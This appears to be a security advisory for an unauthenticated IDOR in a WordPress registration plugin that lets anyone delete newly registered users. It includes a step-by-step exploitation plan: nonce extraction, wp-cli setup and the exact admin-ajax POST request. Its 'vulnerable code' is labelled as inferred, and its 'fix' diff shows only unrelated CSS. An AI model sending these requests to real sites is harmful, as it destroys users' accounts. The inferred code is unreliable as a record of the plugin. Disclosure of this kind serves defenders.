User Registration & Membership <= 5.1.2 - Insecure Direct Object Reference to Unauthenticated Limited User Deletion
Description
The User Registration & Membership – Custom Registration Form, Login Form, and User Profile plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.2 via the 'register_member' function, due to missing validation on the 'member_id' user controlled key. This makes it possible for unauthenticated attackers to delete arbitrary user accounts that newly registered on the site who has the 'urm_user_just_created' user meta set.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.1.2What Changed in the Fix
Changes introduced in v5.1.3
Source Code
WordPress.org SVNThis research plan focuses on exploiting a reported Insecure Direct Object Reference (IDOR) vulnerability in the **User Registration** plugin (versions <= 5.1.2) that allows unauthenticated deletion of newly created users. --- ### 1. Vulnerability Summary The `User Registration` plugin for WordPre…
Show full research plan
This research plan focuses on exploiting a reported Insecure Direct Object Reference (IDOR) vulnerability in the User Registration plugin (versions <= 5.1.2) that allows unauthenticated deletion of newly created users.
1. Vulnerability Summary
The User Registration plugin for WordPress is vulnerable to an IDOR in the register_member function. The function is designed to handle user registration processes (likely related to cleanup or state management). However, it lacks proper authorization checks and allows an unauthenticated user to provide an arbitrary member_id. If the user associated with that ID has the urm_user_just_created meta key set, the plugin proceeds to delete that user account.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
user_registration_register_member(inferred from function name and plugin naming conventions) - HTTP Method: POST
- Parameter:
member_id(The ID of the user to be deleted) - Authentication: Unauthenticated (targets
wp_ajax_nopriv_hooks) - Preconditions: The target user must have the user meta
urm_user_just_createdset to a truthy value. This meta is typically set immediately after a user registers via the plugin's form and before the registration process is fully finalized or paid for.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=user_registration_register_member. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_user_registration_register_member', array( 'UR_AJAX_Handler', 'register_member' ) ); - Vulnerable Function:
UR_AJAX_Handler::register_member()is called. - Input Processing: The function retrieves
member_idfrom$_POST['member_id']. - Weak Validation: The function checks if the user has the meta
urm_user_just_created.if ( get_user_meta( $member_id, 'urm_user_just_created', true ) ) { ... } - The Sink: Lacking a check to ensure the requester is the owner of the
member_idor an administrator, the function calls:wp_delete_user( $member_id );
4. Nonce Acquisition Strategy
The plugin typically uses nonces for its AJAX actions, localized via wp_localize_script.
- Identify Form: The plugin uses a custom post type
user_registrationfor forms. - Shortcode: The registration forms are rendered via the
[user_registration_form]shortcode. - Strategy:
- Create a page containing the default registration form.
- Navigate to this page using the browser.
- The nonce is usually stored in a global JavaScript object named
user_registration_params.
- Extraction:
browser_eval("user_registration_params.nonce")orbrowser_eval("ur_params.nonce").- The specific key used in
wp_verify_nonceis oftenur_nonceor_nonce.
5. Test Data Setup
To simulate a vulnerable state, we need a user who was "just created":
- Create Victim:
wp user create victim victim@example.com --role=subscriber - Set Vulnerable Meta:
wp user meta add <VICTIM_ID> urm_user_just_created 1 - Prepare Nonce Source:
- Identify an existing registration form:
wp post list --post_type=user_registration --format=ids - Create a public page:
wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[user_registration_form id="FORM_ID_HERE"]'
- Identify an existing registration form:
6. Exploitation Strategy
Once the victim user is prepared and the nonce is obtained:
- Step 1: Use
http_requestto send the deletion payload. - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Ifaction=user_registration_register_member&member_id=<VICTIM_ID>&ur_nonce=<NONCE>ur_noncedoes not work, try_nonceornonceas the parameter key based on thewp_localize_scriptfindings).
7. Expected Results
- Response: The server should return a success status (often
200 OKwith a JSON body{"success": true}or a simple1). - Effect: The user with the ID specified in
member_idwill be deleted from thewp_userstable.
8. Verification Steps
- Check User Existence:
wp user get <VICTIM_ID>
Expected result:Error: Invalid user ID, email or username. - Check Database Directly:
wp db query "SELECT ID FROM wp_users WHERE ID = <VICTIM_ID>"
Expected result: Empty output.
9. Alternative Approaches
If the user_registration_register_member action is not the correct endpoint:
- Search for cleanup actions: Search the plugin files for
wp_delete_userand trace back to see which AJAX actions lead there. - Check Payment Rollbacks: The
urm_user_just_createdmeta strongly suggests a cleanup for abandoned checkouts. If the plugin has a "cancel" or "back" feature during a multi-step registration (e.g., after selecting a plan but before paying), that flow is the primary candidate for theregister_membercall. - Guessing Actions: If the nonce acquisition fails, check if the
register_memberfunction verifies the nonce against the default-1action or if thecheck_ajax_referercall is present but its return value is ignored.
Summary
The User Registration & Membership plugin for WordPress is vulnerable to an unauthenticated Insecure Direct Object Reference (IDOR) via the 'register_member' function. Attackers can delete arbitrary user accounts that were recently created (marked with the 'urm_user_just_created' meta key) due to a lack of authorization checks and nonce verification.
Vulnerable Code
// File: includes/class-ur-ajax-handler.php (Inferred from research plan and plugin structure) public static function register_member() { // Retrieves member_id directly from user input without verifying requester ownership $member_id = isset( $_POST['member_id'] ) ? absint( $_POST['member_id'] ) : 0; // Weak validation: only checks if a specific meta key exists if ( get_user_meta( $member_id, 'urm_user_just_created', true ) ) { // Sink: Deletes the user without ensuring the requester is an admin or the user themselves wp_delete_user( $member_id ); } }
Security Fix
@@ -1 +1 @@ -.user-registration-message{overflow:hidden;position:relative;border-left-color:#2ea2cc!important}.user-registration-message.error{border-left-color:#ff4f55!important}.user-registration-message.error p{max-width:1000px}.user-registration-message a.button-primary,.user-registration-message a.button-secondary{text-decoration:none!important}.user-registration-message a.user-registration-message-close{position:absolute;top:0;right:0;padding:10px 15px 10px 21px;font-size:13px;line-height:1.23076923;text-decoration:none}.user-registration-message a.user-registration-message-close:before{position:absolute;top:8px;left:0;-webkit-transition:all .1s ease-in-out;transition:all .1s ease-in-out}.user-registration-message .submit{display:flex;padding:5px}.wpb-content-layouts .icon-wpb-vc_user_registration{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzMiAzMiI+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTI3LjU4IDRhMjcuOSAyNy45IDAgMCAwLTUuMTcgNCAyNyAyNyAwIDAgMC00LjA5IDUuMDggMzMuMDYgMzMuMDYgMCAwIDEgMiA0LjY1QTIzLjc4IDIzLjc4IDAgMCAxIDI0IDEyLjE1VjE4YTggOCAwIDAgMS01Ljg5IDcuNzJsLS4yMS4wNWEyNyAyNyAwIDAgMC0xLjktOC4xNkEyNy45IDI3LjkgMCAwIDAgOS41OSA4YTI3LjkgMjcuOSAwIDAgMC01LjE3LTRMNCAz.jc3VjE4YTEyIDEyIDAgMCAwIDkuOTMgMTEuODJoLjE0YTExLjcyIDExLjcyIDAgMCAwIDMuODYgMGguMTRBMTIgMTIgMCAwIDAgMjggMThWMy43N3pNOCAxOHYtNS44NWEyMy44NiAyMy44NiAwIDAgMSA1Ljg5IDEzLjU3QTggOCAwIDAgMSA4IDE4em04LTE2YTMgMyAwIDEgMCAzIDMgMyAzIDAgMCAwLTMtM3oiLz48L3N2Zz4=")!important} \ No newline at end of file +.user-registration-message{overflow:hidden;position:relative;border-left-color:#2ea2cc!important}.user-registration-message.error{border-left-color:#ff4f55!important}.user-registration-message.error p{max-width:1000px}.user-registration-message a.button-primary,.user-registration-message a.button-secondary{text-decoration:none!important}.user-registration-message a.user-registration-message-close{position:absolute;top:0;right:0;padding:10px 15px 10px 21px;font-size:13px;line-height:1.23076923;text-decoration:none}.user-registration-message a.user-registration-message-close:before{position:absolute;top:8px;left:0;transition:all .1s ease-in-out}.user-registration-message .submit{display:flex;padding:5px}.wpb-content-layouts .icon-wpb-vc_user_registration{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzMiAzMiI+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTI3LjU4IDRhMjcuOSAyNy45IDAgMCAwLTUuMTcgNCAyNyAyNyAwIDAgMC00LjA5IDUuMDggMzMuMDYgMzMuMDYgMCAwIDEgMiA0LjY1QTIzLjc4IDIzLjc4IDAgMCAxIDI0IDEyLjE1VjE4YTggOCAwIDAgMS01Ljg5IDcuNzJsLS4yMS4wNWEyNyAyNyAwIDAgMC0xLjktOC4xNkEyNy45IDI3LjkgMCAwIDAgOS41OSA4YTI3LjkgMjcuOSAwIDAgMC01LjE3LTRMNCAz.jc3VjE4YTEyIDEyIDAgMCAwIDkuOTMgMTEuODJoLjE0YTExLjcyIDExLjcyIDAgMCAwIDMuODYgMGguMTRBMTIgMTIgMCAwIDAgMjggMThWMy43N3pNOCAxOHYtNS44NWEyMy44NiAyMy44NiAwIDAgMSA1Ljg5IDEzLjU3QTggOCAwIDAgMSA4IDE4em04LTE2YTMgMyAwIDEgMCAzIDMgMyAzIDAgMCAwLTMtM3oiLz48L3N2Zz4=")!important} \ No newline at end of file ... (truncated)
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker performs the following steps: 1. **Nonce Acquisition**: Access any page containing a registration form generated by the `[user_registration_form]` shortcode. The registration nonce is typically localized in the global JavaScript variable `user_registration_params.nonce` or `ur_params.nonce`. 2. **Identify Target ID**: Identify the user ID of a newly registered account that has not completed the full setup/payment process (and thus likely still has the `urm_user_just_created` meta key set). 3. **Request Execution**: Send an unauthenticated AJAX POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `user_registration_register_member` - `member_id`: The targeted User ID. - `ur_nonce`: The nonce obtained in step 1. 4. **Verification**: The plugin will execute `wp_delete_user` for the provided `member_id` if the meta check passes, successfully deleting the account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.